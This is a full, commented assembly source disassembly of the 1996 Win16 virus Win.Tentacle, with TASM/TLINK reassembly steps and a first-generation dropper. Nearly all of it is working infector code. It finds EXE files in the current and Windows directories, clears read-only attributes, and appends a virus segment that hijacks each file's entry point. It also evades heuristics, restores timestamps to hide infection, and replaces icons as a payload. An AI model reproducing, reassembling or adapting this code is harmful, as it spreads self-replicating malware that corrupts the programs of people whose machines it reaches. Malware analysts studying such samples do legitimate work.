comment % Name : Win.Tentacle Author : ? Type : direct acting Win16 NE appender Size : 1948 bytes virus body (because of relocation stuff infected files increase for at least 1958 bytes) Origin : ? When : 1996 Status : was in the wild (distributed in cracking newsgroups in 1996) Disassembled by : Black Jack Contact me : Black_Jack_VX@hotmail.com | http://blackjackvx.cjb.net Description: When an infected file is run, the virus gets control. It then searches for a .EXE file in the current directory, and another one in the C:\WINDOWS directory and tries to infect it. While infection the virus creates a temporary file C:\TENTACLE.$$$ and rebuilds there an infected image of the victim file. When the infection process is finished this file is copied back over the victim file and then deleted. The infection technique is adding another segment with the virus code at the end of the file. To add its own entry to the segment table, it checks if there is enough unused room between the end of the NE header tables and the start of the first segment and aborts infection if not. Then it shifts back all tables after the segment table (therefore overwriting the unused fill bytes) and fixes their offsets in the NE header, so that it can write its own segment descriptor at the end of the segment table. Finally the entry point in the NE header is set to the virus body, and the old one is stored in a relocation item at the end of the virus body that is used to restore control to the host. Whenever the virus infects a file between 00:00am and 00:15am the virus activates its payload routine: it searches the resource table of the victim file for the icon resource and replaces it with its own icon, a picture of the violet tentacle from the classical computer game "the day of the tentacle". Reassembly tested with Tasm 3.1 and TLink 3.0 . TASM /M tentacle TLINK tentacle first generation sample is a DOS EXE file and infects all suitable EXE files in the current directory only. % .model tiny .386 .code org 0 virus_start: segm_offset dw 0 segm_phys_size dw (virus_end - virus_start) segm_attribs dw 0001110101010000b segm_virt_size dw (virus_end - virus_start) tmp_filename db "C:\TENTACLE.$$$", 0 windir_filespec db "C:\WINDOWS\" filespec db "*.EXE", 0 relocation_stuff: dd 0000FFFFh ; pointers that will become relocated ; must be initialised by 0:FFFF ; This is the real start of the relocation data: dw 1 ; one relocation item db 3 ; 32bit far pointer db 0 ; internal reference dw offset org_entry ; offset of pointer to relocate size_of_relocation_stuff EQU ($ - relocation_stuff) ; The relocation destination (host entry CS:IP) will be written afterwards virus_entry: push ds ; save DS pusha ; save all registers push cs ; DS=CS pop ds sub sp,size stack_frame ; reserve room on stack mov bp,sp ; setup stack frame mov ah,1Ah ; set DTA to DS:DX lea dx,[bp.dta] ; Load effective addr push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS mov dx,offset filespec ; DX=ptr to "*.EXE" mov bx,1 ; get one file in current directory call infect_directory ; search & infect! mov dx,offset windir_filespec ; DX=ptr to "C:\WINDOWS\*.EXE" mov bx,3 ; get three files in windows directory call infect_directory ; search & infect! mov ah,1Ah ; set DTA to DS:DX mov dx,7Fh ; DX=80h (standart DTA offset) inc dx push ds ; save DS push es ; DS=ES=PSP (or equivalent) segment pop ds int 21h pop ds ; restore DS add sp,size stack_frame ; free room on stack popa ; restore all registers pop ds ; restore DS jmp cs:org_entry ; jump to host entrypoint ; ----- INFECT A DIRECTORY -------------------------------------------------- ; DX=offset of file specification ("*.EXE" or "C:\WINDOWS\*.EXE") ; BX=files to infect infect_directory: ;* cmp dx,offste windir_filespec ; search in windows directory? db 81h,0FAh,18h,0 ; fixup - byte match jne not_windows_dir push es ; save ES mov si,dx ; SI=ptr to "C:\WINDOWS\" lea di,[bp.full_filename] ; DI=ptr to buffer on stack mov word ptr [bp.filename_ptr],di ; save offset to full filename push ss ; ES=SS pop es mov cx,11 ; length of "C:\WINDOWS\" cld ; clear direction flag rep movsb ; move path ("C:\WINDOWS\") pop es ; restore ES jmp start_filesearch not_windows_dir: lea ax,[bp.dta+1Eh] ; AX=offset of found filename in DTA mov word ptr [bp.filename_ptr],ax ; save offset to full filename start_filesearch: mov word ptr [bp.filename_ptr+2],ss ; save segm. to full filename mov ah,4Eh ; find first file mov cx,2 ; normal and hidden files jmp do_file_search do_file: ;* cmp dx,offste windir_filespec ; filesearch in windows directory? db 81h,0FAh,18h,0 ; fixup - byte match jne not_windows_dir_2 push es ; save ES and DS push ds mov ax,ss ; ES=DS=SS mov ds,ax mov es,ax lea si,[bp.dta+1Eh] ; SI=offset of found filename lea di,[bp.full_filename+11] mov cx,0Dh cld ; clear direction flag rep movsb ; copy filename pop ds pop es not_windows_dir_2: test byte ptr [bp.dta+15h],1 ; read only attribute set? jz not_readonly push ds ; save DS push dx ; save DX mov ax,3000h ; AX=4301h (set file attributes) add ax,1301h xor ch,ch ; set high byte of attributes to zero mov cl,[bp.dta+15h] ; CL=low byte of attributes ;* and cx,0FFFEh ; delete read-only attribute db 83h,0E1h,0FEh ; fixup - byte match lds dx,[bp.filename_ptr] ; DS:DX=address of filename int 21h pop dx ; restore DX pop ds ; restore DS jc findnext ; error? if so, search on not_readonly: call infect_file ; infect the file! jc findnext ; on error while infecting search on! dec bx ; decrement infection counter jz done_directory ; enough files infected? findnext: mov ah,4Fh ; find next file do_file_search: int 21h ; do the file search jnc do_file ; if no error happened, process file done_directory: ret ; ----- INFECT A FILE ------------------------------------------------------- infect_file: pushad ; save all registers mov ax,3D00h ; open file read-only push ds ; save DS lds dx,[bp.filename_ptr] ; DS:DX=pointer to filename int 21h pop ds ; restore DS jnc open_file_ok jmp exit_infect open_file_ok: mov bx,ax ; handle to BX mov [bp.source_handle],ax ; save handle call get_file_date_time_size mov ah,3Fh ; read DOS header mov cx,64 ; DOS header size lea dx,[bp.rw_buffer] ; Load effective addr push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS jnc read_dos_header_ok jmp close_file read_dos_header_ok: mov ax,word ptr [bp.rw_buffer] ; AX=exe marker dec ax ; anti-heuristic cmp ax,"ZM"-1 ; EXE file? je exe_file jmp close_file ; close if not exe_file: ;* cmp word ptr [bp.rw_buffer+0Ch],0FFFEh ; maxmem item in ; DOS header is infection marker db 83h,0BEh,83h,0,0FEh ; fixup - byte match jne not_infected_yet jmp close_file ; already infected not_infected_yet: ;* cmp word ptr [bp.rw_buffer+0Ch],0FFFFh ; has the maxmem item ; the standart value? db 83h,0BEh,83h,0,0FFh ; fixup - byte match je standart_maxmem jmp close_file ; if not, then don't infect the file standart_maxmem: mov word ptr [bp.rw_buffer+0Ch],0FFFEh ; mark as infected cmp word ptr [bp.rw_buffer+18h],40h ; new exe file? jae new_exe jmp close_file ; if not, then close new_exe: mov ah,3Ch ; create temporary file mov cx,2 ; with hidden attributes mov dx,offset tmp_filename ; DS:DX=address of filename int 21h jnc createfile_ok jmp close_file createfile_ok: mov [bp.dest_handle],ax ; save temp file handle mov ah,40h ; write DOS header of temp file mov bx,[bp.dest_handle] ; BX=file handle mov cx,64 ; CX=length to write lea dx,[bp.rw_buffer] ; DS:DX=address write buffer push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS jnc write_dos_header_to_tmp_file_ok jmp close_tmp_file write_dos_header_to_tmp_file_ok: mov ecx,dword ptr [bp.rw_buffer+3Ch] ; ECX=new exe header offset mov [bp.offs_other_tbls],ecx mov [bp.new_header_offs],ecx sub ecx,64 ; size of dos header already written call copy_file_block ; copy rest of DOS stub jnc copy_stub_ok ; no error->go on jmp close_tmp_file copy_stub_ok: mov bx,[bp.source_handle] ; BX=handle of victim file mov ah,3Fh ; read NE header mov cx,64 ; size of NE header lea dx,[bp.rw_buffer] ; DX=offset of buffer push ds ; save DS push ss ; DS=SS=segment of buffer pop ds int 21h pop ds ; restore DS jnc read_NE_header_OK jmp close_tmp_file read_NE_header_OK: mov ax,word ptr [bp.rw_buffer] ; AX=new exe marker inc ax ; anti-heuristic cmp ax,"EN"+1 ; NE exe file? je NE_file jmp close_tmp_file ; if not, then abort infection NE_file: mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift mov eax,1 ; EAX=1 shl eax,cl ; EAX=alignment unit mov [bp.alignment_unit],eax ; save it mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift mov eax,[bp.file_size] ; EAX=filesize shr eax,cl ; EAX=filesize in alignment units mov [bp.new_sect_descr+0],ax ; save it as offset for the new ; segment that is going to be created mov eax,[bp.alignment_unit] ; EAX=alignment unit dec eax ; set all bits below alignemt test eax,[bp.file_size] ; filesize already aligned? jz filesize_already_aligned inc word ptr [bp.new_sect_descr+0] ; if not, round it up filesize_already_aligned: mov ax,segm_phys_size ; copy physical size of segment mov [bp.new_sect_descr+2],ax mov ax,segm_attribs ; copy segment attributes mov [bp.new_sect_descr+4],ax mov ax,segm_virt_size ; copy virutal size of segment mov [bp.new_sect_descr+6],ax cmp word ptr [bp.rw_buffer+22h],40h ;is the segment table directly ; after the NE header (standart case)? je segment_table_ok ; if not, better not infect the file jmp close_tmp_file segment_table_ok: mov ah,3Fh ; read the offset of the first segment mov cx,2 ; read a word lea dx,[bp.first_segm_offs] ; DX=offset read buffer push ds ; save DS push ss ; DS=SS=segment read buffer pop ds int 21h pop ds ; restore DS jnc read_first_segm_offs_ok jmp close_tmp_file read_first_segm_offs_ok: mov ax,4201h ; move file pointer relative to ; current position mov cx,0FFFFh ; CX:DX=-2 (new filepointer position) mov dx,0FFFEh int 21h ; set the filepointer back to the ; start of the segment table jnc move_filepointer_back_to_segm_table_ok jmp close_tmp_file move_filepointer_back_to_segm_table_ok: xor eax,eax ; EAX=0 mov ax,word ptr [bp.first_segm_offs] ; EAX=aligned file offset ; of first segment mul dword ptr [bp.alignment_unit] ; EAX=file offset of the ; first segment in bytes mov [bp.first_segm_offs],eax ; save it mov ebx,dword ptr [bp.rw_buffer+2Ch] ; EBX=beginning of the nonresident-name table (relative to filestart). ; This is the last table in the NE header. xor ecx,ecx ; ECX=0 mov cx,word ptr [bp.rw_buffer+20h] ; ECX=size of nonresident name ; table in bytes add ebx,ecx ; EBX=size of NE header + all tables sub eax,ebx ; EAX=free room between the end of ; the NE header and the first segment ;* cmp eax,8 ; is there enough room left to add ; another segment descriptor ? db 66h,3Dh,08h,0,0,0 ; fixup - byte match jge segment_descriptor_adding_possible jmp close_tmp_file segment_descriptor_adding_possible: mov ax,word ptr [bp.rw_buffer+16h] ; entrypoint segment index mov [bp.host_entry_cs],ax ; save it mov ax,word ptr [bp.rw_buffer+14h] ; entrypoint IP mov [bp.host_entry_ip],ax ; save it mov ax,word ptr [bp.rw_buffer+1Ch] ; segment count inc ax ; add another segment mov word ptr [bp.rw_buffer+1Ch],ax ; save new segment count mov word ptr [bp.rw_buffer+16h],ax ; new entry segment index mov word ptr [bp.rw_buffer+14h],offset virus_entry ; set new ; entry IP and byte ptr [bp.rw_buffer+37h],011110111b ; windows flags: ; kill gangload area ; fixup the offsets of the other NE header tables (all are after the segment ; table and therefore shifted back) add word ptr [bp.rw_buffer+4h],8 ; entry table add word ptr [bp.rw_buffer+24h],8 ; resource table add word ptr [bp.rw_buffer+26h],8 ; resident-name table add word ptr [bp.rw_buffer+28h],8 ; module-reference table add word ptr [bp.rw_buffer+2Ah],8 ; imported-name table add dword ptr [bp.rw_buffer+2Ch],8 ; nonresident-name table mov ah,40h ; write modified NE header to tmp file mov bx,[bp.dest_handle] ; BX=temp file handle mov cx,64 ; NE header size lea dx,[bp.rw_buffer] ; DX=write buffer offset push ds ; save DS push ss ; DS=SS=write buffer segment pop ds int 21h pop ds ; restore DS jnc write_NE_header_ok jmp close_tmp_file write_NE_header_ok: xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+1Ch] ; EAX=number of segments dec eax ; EAX=old number of segments mov ecx,8 ; ECX=8 (size of a segment descriptor) mul ecx ; EAX=old size of segm descriptor tbl add [bp.offs_other_tbls],40h+8; until now, offs_other_tbls add [bp.offs_other_tbls],eax ; contained the offset of the new ; exe header, now we set it to the ; end of the new segment table. mov ecx,eax ; copy old segment descriptor table call copy_file_block ; to temporary file jnc copy_segment_table_ok jmp close_tmp_file copy_segment_table_ok: mov ah,40h ; write our own segment descriptor ; to the file mov cx,8 ; size of a segment descriptor lea dx,[bp.new_sect_descr] ; DX=offset of write buffer push ds ; save DS push ss ; DS=SS=segment of write bufer pop ds int 21h pop ds ; restore DS jnc write_our_descriptor_ok jmp close_tmp_file write_our_descriptor_ok: mov ecx,[bp.first_segm_offs] ; ECX=size of the rest of the sub ecx,[bp.offs_other_tbls] ; NE header tables call copy_file_block ; copy them too mov ax,4201h ; move file pointer relative to ; current position mov bx,[bp.source_handle] ; BX=handle of victim mov cx,0 ; CX:DX=8 (new file position) mov dx,8 ; done to skip the padding space that int 21h ; was overwritten with the new ; segment descriptor jnc skip_padding_bytes jmp close_tmp_file skip_padding_bytes: mov ecx,0FFFFFFFFh ; whole file body call copy_file_block ; copy the file body jnc copy_file_body_ok jmp close_tmp_file copy_file_body_ok: xor eax,eax ; EAX=0 mov ax,[bp.new_sect_descr+0] ; EAX=aligned offset of our segment mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift shl eax,cl ; EAX=offset of our segment in bytes push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; go to our segment offset in file mov bx,[bp.dest_handle] ; BX=temp file handle int 21h jnc move_filepointer_to_our_segment_ok jmp close_tmp_file move_filepointer_to_our_segment_ok: mov ah,40h ; write virus body to file mov cx,(org_entry-virus_start) ; write whole virus body excluding ; the last dword (original host ; entry point, must be relocated ; and therefore initialised). mov dx,offset virus_start ; DX=offset write buffer=virus body int 21h jnc write_virus_body_ok jmp close_tmp_file write_virus_body_ok: mov ah,40h ; write relocation stuff mov cx,size_of_relocation_stuff ; size of relocation stuff mov dx,offset relocation_stuff ; DX=offset write buffer int 21h jc close_tmp_file mov ah,40h ; write original host entry point ; to our relocation item mov cx,2 ; CX=4 (size to write) shl cx,1 ; what for??? lea dx,[bp.host_entry_cs] ; DX=offset write buffer push ds ; save DS push ss ; DS=SS=segment write buffer pop ds int 21h pop ds ; restore DS jc close_tmp_file mov ah,2Ch ; get time int 21h cmp cx,15 ; between 00:00a and 00:15a ? jae no_payload ; if not, don't activate payload call search_icon_resource jc no_payload ; on error, skip payload call write_icon ; give the file our own icon no_payload: mov ah,3Eh ; close temp file int 21h mov ah,3Eh ; close victim file mov bx,[bp.source_handle] ; BX=victim file handle int 21h mov dx,offset tmp_filename ; DS:DX=pointer to temp file name mov ax,3D00h ; reopen temp file read-only int 21h jc delete_tmp_file mov [bp.source_handle],ax ; save handle mov ah,3Ch ; recreate victim file mov cx,0 ; no attributes push ds ; save DS lds dx,[bp.filename_ptr] ; DS:DX=ptr to full victim filename int 21h pop ds ; restore DS jc delete_tmp_file mov bx,ax ; handle to BX mov [bp.dest_handle],ax ; save handle mov ecx,0FFFFFFFFh ; copy the whole temp file over the call copy_file_block ; victim file mov ax,3000h ; AX=5701h - set file date and time add ax,2701h mov bx,[bp.dest_handle] ; BX=handle of victim file mov dx,[bp.file_date] ; CX=old file date mov cx,[bp.file_time] ; DX=old file time int 21h mov ah,3Eh ; close victim file int 21h mov bx,[bp.source_handle] ; BX=handle of temp file mov ah,3Eh ; close temp file int 21h mov dx,offset tmp_filename ; DS:DX=pointer to temp file name mov ah,41h ; delete temp file int 21h clc ; clear carry flag (indicate success) jmp exit_infect close_tmp_file: mov bx,[bp.dest_handle] ; BX=handle of temp file mov ah,3Eh ; close temp file int 21h delete_tmp_file: mov dx,offset tmp_filename ; DS:DX=pointer to temp file name mov ah,41h ; delete temp file int 21h close_file: mov bx,[bp.source_handle] ; BX=handle of victim file mov ah,3Eh ; close fictim file int 21h stc ; set carry flag (indicate error) exit_infect: popad ; Restore all regs ret ; ----- GET DATE, TIME AND SIZE OF THE OPENED FILE -------------------------- get_file_date_time_size: push cx ; save CX and DX push dx mov ax,5700h ; get date and time int 21h mov [bp.file_date],dx ; save date mov [bp.file_time],cx ; save time xor cx,cx ; CX:DX=0 (distance to move) xor dx,dx mov ax,4202h ; move filepointer relative to int 21h ; end of file ; in DX:AX the new filpointer is ; returned (filesize in this case) mov word ptr [bp.file_size+2],dx ; save filesize mov word ptr [bp.file_size],ax xor cx,cx ; DX:CX=0 (distance to move) xor dx,dx mov ax,4200h ; move filepointer relative to int 21h ; beginning of file pop dx ; restore DX and CX pop cx ret ; ----- COPY ECX BYTES FROM VICTIM FILE TO TEMP FILE ------------------------ copy_file_block: pushad ; save all 32bit registers sub sp,256 ; allocate a 256 byte buffer from stack mov [bp.bytes_to_copy],ecx ; save length of block to copy mov dx,sp ; DX=offset buffer copy_file_block_loop: cmp [bp.bytes_to_copy],0 ; whole block moved? je copy_file_block_done ; then we're done cmp [bp.bytes_to_copy],256 ; more than 256 bytes left? jbe copy_remaining_bytes_block mov cx,256 ; then just copy 256 bytes jmp read_file_block copy_remaining_bytes_block: mov cx,word ptr [bp.bytes_to_copy] ; copy all bytes left read_file_block: push cx ; save size to read/write mov bx,[bp.source_handle] ; BX=handle of source file mov ah,3Fh ; read from file function push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS mov bx,[bp.dest_handle] ; BX=handle of destination file mov cx,ax ; write as many bytes as were read mov ah,40h ; write block to temporary file push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS cmp cx,ax ; sizes of read block=written block ? pop cx ; restore size to read and write jnz copy_file_block_error ; if not equal, then an error occured cmp cx,ax ; size of read/written block equal ; to the size we planned to read? jne copy_file_block_done ; if not, we're at the end of the file cwde ; convert word to dword (AX->EAX) sub [bp.bytes_to_copy],eax ; we've copied EAX bytes more jmp copy_file_block_loop ; copy next file block copy_file_block_error: stc ; set carry flag (indicate error) jmp copy_file_block_ret copy_file_block_done: clc ; clear carry flag (indicate success) add sp,100h ; remove buffer from stack popad ; restore all 32bit registers copy_file_block_ret: ret ; ----- SEARCH THE ICON RESOURCE AND SET THE FILEPOINTER TO IT -------------- search_icon_resource: push ds ; save DS push ss ; DS=SS pop ds xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+24h] ; EAX=offset resource table ; relative to NE header add eax,[bp.new_header_offs] ; EAX=offset resource table ; relative to file start push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; set filepointer to resource table int 21h jnc go_to_resource_table_ok jmp exit_search_icon_resource go_to_resource_table_ok: mov ah,3Fh ; read resource alignment shift mov cx,2 ; read a word lea dx,[bp.resource_stuff1] ; DX=offset read buffer int 21h jnc read_resource_shift_ok jmp exit_search_icon_resource read_resource_shift_ok: mov si,[bp.resource_stuff1] ; SI=resource alignment shift search_icon_resource_loop: mov ah,3Fh ; read resources type and count mov cx,4 ; read two words lea dx,[bp.resource_stuff1] ; DX=offset read buffer int 21h jnc read_resource_type_count_ok jmp exit_search_icon_resource read_resource_type_count_ok: mov ax,4201h ; set filepointer relative to ; current position xor cx,cx ; CX:DX=4 (skip reserved dword mov dx,4 ; in TYPEINFO structure) int 21h jc exit_search_icon_resource cmp word ptr [bp.resource_stuff1],0 ; end of TYPEINFO array? je exit_search_icon_resource_set_carry ; then exit with error cmp word ptr [bp.resource_stuff1],8003h ; a icon resource? je found_icon_resource mov ax,[bp.resource_stuff2] ; AX=ResourceCount mov cx,12 ; size of NAMEINFO struct mul cx ; DX:AX=size of NAMEINFO struct array mov cx,dx ; CX:DX=size of NAMEINFO struct array mov dx,ax mov ax,4201h ; set filepointer relative to ; current position int 21h ; skip all NAMEINFO array (go to next ; TYPEINFO element). jc exit_search_icon_resource jmp search_icon_resource_loop ; check next TYPEINFO element found_icon_resource: mov di,[bp.resource_stuff2] ; AX=ResourceCount search_suitable_icon: mov ah,3Fh ; read start of NAMEINFO struct ; (offset and length) mov cx,4 ; read two words lea dx,[bp.resource_stuff1] ; DX=offset read buffer int 21h jc exit_search_icon_resource xor eax,eax ; EAX=0 mov ax,[bp.resource_stuff2] ; EAX=resource length (aligned) mov cx,si ; CX=resource alignment shift shl eax,cl ; EAX=resource length (bytes) cmp eax,744 ; is it big enough? jae set_filepointer_to_resource ; if yes, then use it! mov ax,4201h ; set filepointer relative to th ; current position xor cx,cx ; CX:DX=8 (skip rest of this NAMEINFO mov dx,8 ; structure) int 21h jc exit_search_icon_resource dec di ; decrement resource counter jnz search_suitable_icon ; if counter not zero, search on jmp search_icon_resource_loop ; otherwise we failed set_filepointer_to_resource: xor eax,eax ; EAX=0 mov ax,[bp.resource_stuff1] ; EAX=resource offset (aligned) mov cx,si ; CX=resource alignment shift shl eax,cl ; EAX=resource offset (bytes) ;* add eax,104 ; skip header db 66h,5,68h,0,0,0 ; fixup - byte match push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; go to icon resource in file mov bx,[bp.dest_handle] ; BX=file handle int 21h jmp exit_search_icon_resource ; done! exit_search_icon_resource_set_carry: stc ; set carry flag (indicate error) exit_search_icon_resource: pop ds ret ; ----- WRITES OUR OWN ICON TO THE FILE ------------------------------------- write_icon: mov ah,40h ; write new icon to file mov cx,icon_size ; CX=length to write mov dx,offset icon ; DS:DX=buffer to write int 21h ret icon: db 002h, 022h, 022h, 022h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 00Dh, 072h, 0AAh, 0A2h, 022h, 020h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 005h, 0DDh, 0D8h, 02Ah, 0AAh, 0A2h, 022h, 022h db 022h, 022h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 0DDh, 0DDh, 0D5h, 082h, 02Ah, 0AAh, 0AAh db 0AAh, 0AAh, 022h, 022h, 022h, 022h, 022h, 020h db 000h, 05Dh, 0DDh, 0D5h, 055h, 055h, 050h, 022h db 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 0AAh, 022h db 000h, 00Dh, 0DDh, 0D5h, 055h, 055h, 055h, 055h db 055h, 055h, 055h, 055h, 055h, 055h, 055h, 057h db 000h, 005h, 0DDh, 0D5h, 055h, 055h, 022h, 022h db 022h, 022h, 025h, 055h, 055h, 055h, 055h, 050h db 000h, 000h, 0DDh, 0D5h, 055h, 052h, 02Ah, 0AAh db 0AAh, 0AAh, 022h, 045h, 055h, 055h, 055h, 000h db 000h, 000h, 05Dh, 0D5h, 054h, 0AAh, 0AAh, 022h db 022h, 0AAh, 0AAh, 025h, 055h, 055h, 055h, 000h db 000h, 000h, 00Dh, 0DDh, 052h, 0A2h, 022h, 022h db 022h, 022h, 02Ah, 0A2h, 055h, 055h, 050h, 000h db 000h, 000h, 00Dh, 0DDh, 08Ah, 022h, 022h, 022h db 022h, 022h, 022h, 0AAh, 055h, 055h, 050h, 000h db 000h, 000h, 005h, 0DDh, 0DAh, 020h, 022h, 022h db 022h, 022h, 020h, 0AAh, 055h, 055h, 000h, 000h db 000h, 000h, 000h, 0DDh, 0D2h, 0A0h, 000h, 022h db 022h, 022h, 000h, 0A2h, 055h, 050h, 000h, 000h db 000h, 000h, 000h, 05Dh, 0DDh, 0AAh, 020h, 000h db 000h, 000h, 002h, 0A5h, 055h, 050h, 000h, 000h db 000h, 005h, 050h, 07Dh, 0DDh, 050h, 02Ah, 0AAh db 022h, 02Ah, 0A2h, 055h, 055h, 000h, 000h, 000h db 000h, 008h, 055h, 05Dh, 0D5h, 055h, 022h, 022h db 022h, 025h, 055h, 055h, 050h, 000h, 000h, 000h db 000h, 000h, 0D5h, 055h, 0D5h, 052h, 0AAh, 0AAh db 0AAh, 022h, 055h, 055h, 070h, 000h, 000h, 000h db 000h, 000h, 00Dh, 055h, 0DDh, 02Ah, 022h, 022h db 022h, 0AAh, 055h, 055h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 05Dh, 0DDh, 02Ah, 002h, 022h db 022h, 02Ah, 025h, 057h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 005h, 0DDh, 05Ah, 020h, 000h db 000h, 00Ah, 025h, 057h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0DDh, 055h, 02Ah, 022h db 022h, 0A2h, 055h, 057h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 00Dh, 052h, 02Ah, 022h db 055h, 055h, 055h, 057h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 005h, 022h, 022h, 022h db 025h, 055h, 055h, 050h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 008h, 022h, 022h, 022h db 025h, 000h, 055h, 050h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 050h, 000h, 002h db 050h, 000h, 075h, 050h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 00Dh, 0D5h, 055h db 000h, 000h, 055h, 050h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 008h, 0D5h, 000h db 000h, 000h, 00Dh, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 080h, 0FFh, 0FFh, 0FFh, 080h, 01Fh, 0FFh, 0FFh db 080h, 000h, 00Fh, 0FFh, 0C0h, 000h, 000h, 001h db 0C0h, 000h, 000h, 000h, 0E0h, 000h, 000h, 000h db 0E0h, 000h, 000h, 001h, 0F0h, 000h, 000h, 003h db 0F0h, 000h, 000h, 003h, 0F8h, 000h, 000h, 007h db 0F8h, 000h, 000h, 007h, 0F8h, 000h, 000h, 00Fh db 0FCh, 000h, 000h, 01Fh, 0FCh, 000h, 000h, 01Fh db 0E4h, 000h, 000h, 03Fh, 0E0h, 000h, 000h, 07Fh db 0F0h, 000h, 000h, 07Fh, 0F8h, 000h, 000h, 0FFh db 0FCh, 000h, 000h, 0FFh, 0FEh, 000h, 000h, 0FFh db 0FFh, 000h, 000h, 0FFh, 0FFh, 080h, 000h, 0FFh db 0FFh, 080h, 001h, 0FFh, 0FFh, 080h, 031h, 0FFh db 0FFh, 080h, 071h, 0FFh, 0FFh, 0C0h, 0F1h, 0FFh db 0FFh, 0E3h, 0FBh, 0FFh, 0FFh, 0FFh, 0FFh, 0FFh db 0D8h, 0ADh, 0ACh, 088h, 0D9h, 08Dh, 08Bh, 0B9h db 0DBh, 08Dh, 0ABh, 0BAh, 088h, 0A8h, 0DCh, 0B8h icon_size = ($ - offset icon) db 0 ; maybe the author wanted org_entry ; to be on a even address? org_entry dd 0000FFFFh virus_end: ; Most data of the virus is stored in a buffer on the stack. The following ; structure represents the lay-out of this stack frame: stack_frame struc dta db 2Bh dup(?) resource_stuff1 dw ? resource_stuff2 dw ? bytes_to_copy dd ? filename_ptr dd ? full_filename db 24 dup(?) source_handle dw ? dest_handle dw ? file_date dw ? file_time dw ? file_size dd ? new_header_offs dd ? offs_other_tbls dd ? alignment_unit dd ? first_segm_offs dd ? new_sect_descr dw 4 dup(?) host_entry_cs dw ? host_entry_ip dw ? rw_buffer db 64 dup(?) stack_frame ends first_gen_entry: sub sp,size stack_frame ; reserve room on stack mov bp,sp ; setup stack frame mov ah,1Ah ; set DTA to DS:DX lea dx,[bp.dta] ; Load effective addr push ss ; DS=SS pop ds int 21h push cs ; DS=CS pop ds mov dx,offset filespec ; DX=ptr to "*.EXE" mov bx,0FFFFh ; get all files in current directory call infect_directory ; search & infect! mov ah,9 mov dx,offset first_gen_message int 21h mov ax,4C00h int 21h first_gen_message db "Win.Tentacle virus dropped", 0Dh, 0Ah, "$" end first_gen_entry